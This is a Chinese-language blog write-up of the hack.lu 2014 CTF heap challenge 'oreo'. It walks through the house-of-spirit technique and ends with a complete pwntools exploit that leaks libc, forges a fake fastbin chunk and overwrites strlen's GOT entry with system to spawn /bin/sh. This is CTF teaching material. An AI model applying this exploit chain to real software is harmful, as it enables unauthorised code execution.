hack.lu2014-oreo writeup

题目描述

题目来源:hack.lu CTF 2014
知识点:house of spirit
挺老的一道题目了,不过是how2heap和ctfwiki上的例题。题目是一个买卖枪支的系统,同样是常规的增删查改,32位程序。

1
2
3
4
5
6
7
8
9
10
Welcome to the OREO Original Rifle Ecommerce Online System!
What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action:

保护如下:

1
2
3
4
5
6
[*] '/home/nick/pwn_learn/heapLearn/house_of_spirit/hack-lu2014_oreo'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

程序概况

add函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
v1 = head;
head = (char *)malloc(56u);
if ( head )
{
*((_DWORD *)head + 13) = v1;
printf("Rifle name: ");
fgets(head + 25, 56, stdin);
sub_80485EC(head + 25);
printf("Rifle description: ");
fgets(head, 56, stdin);
sub_80485EC(head);
++cnt;
}

函数会读取名称和描述,并将名称描述以及上一个枪支的地址一起存入结构体中,构成一个链表结构。结构体如下:

1
2
3
4
5
00000000 rifle           struc ; (sizeof=0x38, mappedto_5)
00000000 description db 25 dup(?)
00000019 name db 27 dup(?)
00000034 next dd ?
00000038 rifle ends

同时注意到,fgets函数读取的长度为56个字节,所以可以发生溢出

show函数:

1
2
3
4
5
6
for ( i = head; i; i = (rifle *)i->next )
{
printf("Name: %s\n", i->name);
printf("Description: %s\n", i);
puts("===================================");
}

通过链表依次访问每个枪支,输出名称和描述。

Free函数(Order)
遍历链表,依次将所有枪支都free掉,然后将链表头置0

message函数:
dword_804A2A8指向的地址写入字符串。而在程序开头dword_804A2A8 = (char *)&unk_804A2C0;,所以是向unk_804A2C0处写入。

1
2
3
4
5
6
7
.bss:0804A2A8 dword_804A2A8   dd ?                    ; DATA XREF: leave_message+23↑r
.bss:0804A2A8 ; leave_message+3C↑r ...
.bss:0804A2AC align 20h
.bss:0804A2C0 unk_804A2C0 db ? ; ; DATA XREF: main+29↑o
.bss:0804A2C1 db ? ;
.bss:0804A2C2 db ? ;
.bss:0804A2C3 db ? ;

漏洞分析

泄露libc基址

因为程序通过链表来管理枪支,恰好在枪支结构体中存在溢出,所以可以通过从name溢出到next指针,将next修改到任意地址,再通过show就可以任意地址读了。这里可以通过泄露puts_got,然后通过偏移来算出libc基址。

house of spirit

因为可以控制next指针,也就意味着可以在任意地方free,那么可以构造house of spirit。如果可以在massage指针dword_804A2A8处布置好一个fake chunk用于绕过free的检查,那么就可以在此处分配一个chunk,massage指针将会被控制,从而实现任意地址写。

构造fake chunk

若要让dword_804A2A8在chunk内部,首先需要在它的上方构造出这个chunk的size,可以发现,在对枪支进行计数的cnt变量刚好在0x804A2A4的位置,所以只需要添加一定数量的枪支,就可以达到我们想要的size。

1
2
3
4
5
6
7
8
.bss:0804A2A0 dword_804A2A0   dd ?                    ; DATA XREF: Free+5A↑r
.bss:0804A2A0 ; Free+62↑w ...
.bss:0804A2A4 cnt dd ? ; DATA XREF: add+C5↑r
.bss:0804A2A4 ; add+CD↑w ...
.bss:0804A2A8 ; char *dword_804A2A8
.bss:0804A2A8 dword_804A2A8 dd ? ; DATA XREF: leave_message+23↑r
.bss:0804A2A8 ; leave_message+3C↑r ...
.bss:0804A2AC align 20h

因为一个枪支结构体的大小为0x38,加上chunk header后的size属于0x40这个fast bin,所以需要将fake chunk的size设置为0x40,也就是添加0x40个枪支
然后需要绕过对next chunk的检查,通过写入message,将对应next chunk的size和prevsize都构造好。(详见exp)
构造好后:

1
2
3
4
5
6
0x804a288:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a298: 0x00000000 0x00000000 0x00000001 0x00000041 <== size
0x804a2a8: 0x0804a2c0 0x00000000 0x00000000 0x00000000 <== message指针
0x804a2b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a2c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a2d8: 0x00000000 0x00000000 0x00000040 0x00000050 <== prevsize size

实现任意地址写

在fake chunk构造好后,就可以将dword_804A2A8写入next指针,然后free,在message指针处构造好的fake chunk将会进入fast bin。
重新添加枪支,fake chunk将会从bins中取出,通过设置枪支的description,就可以修改massage指针了,此时在调用message函数就能实现任意地址写

注意

程序中没有setvbuf,所以不会及时的回显数据,在编写exp时有些时候不用recv

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./hack-lu2014_oreo')
elf = ELF('./hack-lu2014_oreo')
libc = ELF('/lib/i386-linux-gnu/libc-2.19.so')

def add(name, description):
p.sendline('1')
p.sendline(name)
p.sendline(description)

def show():
p.sendline('2')
p.recvuntil('=\n')

def free():
p.sendline('3')

def leaveMsg(msg):
p.sendline('4')
p.sendline(msg)

def leak(addr):
add('a'*27 + p32(addr), 'a')
show()
p.recvuntil('Description: ')
p.recvuntil('Description: ')
res = u32(p.recvuntil('\n', drop=True)[:4])
p.recvuntil('\n')
return res

#泄露libc
libc_base = leak(elf.got['puts']) - libc.symbols['puts']
system = libc_base + libc.symbols['system']
print "libc_base : %#x" % libc_base
print "system : %#x" % system

#添加0x40个枪支,构造size位
for _ in range(0x40-1):
add('a', 'a')
#将massage指针的地址写到next指针中
add('a'*27 + p32(0x0804A2A8), 'a')

#构造next chunk,将prevsize设为0x40,size设为0x50
payload = '\x00'*0x20 + p32(0x40) + p32(0x50)
leaveMsg(payload)
#把fake chunk放入fast bin
free()
p.recvuntil('Okay order submitted!\n')

#重新把fake chunk分配出来,并在description写入strlen_got,相当于将message指针改为指向strlen的got表
add('a' ,p32(elf.got['strlen']))
#写入message,相当于向strlen_got中写入system。
#因为在leaveMsg函数中,fgets之后就会调用strlen,所以顺便就可以getshell了
#这里使用分号是因为linux命令中可以使用';'来分割两条指令,所以这里相当于把/bin/sh当做第二条执行的指令了,而第一个p32(system)是个无效指令罢了
leaveMsg(p32(system) + ';/bin/sh')

p.interactive()

相关链接

题目链接:oreo
writeup参考:ctfwiki

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/1b661c73.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏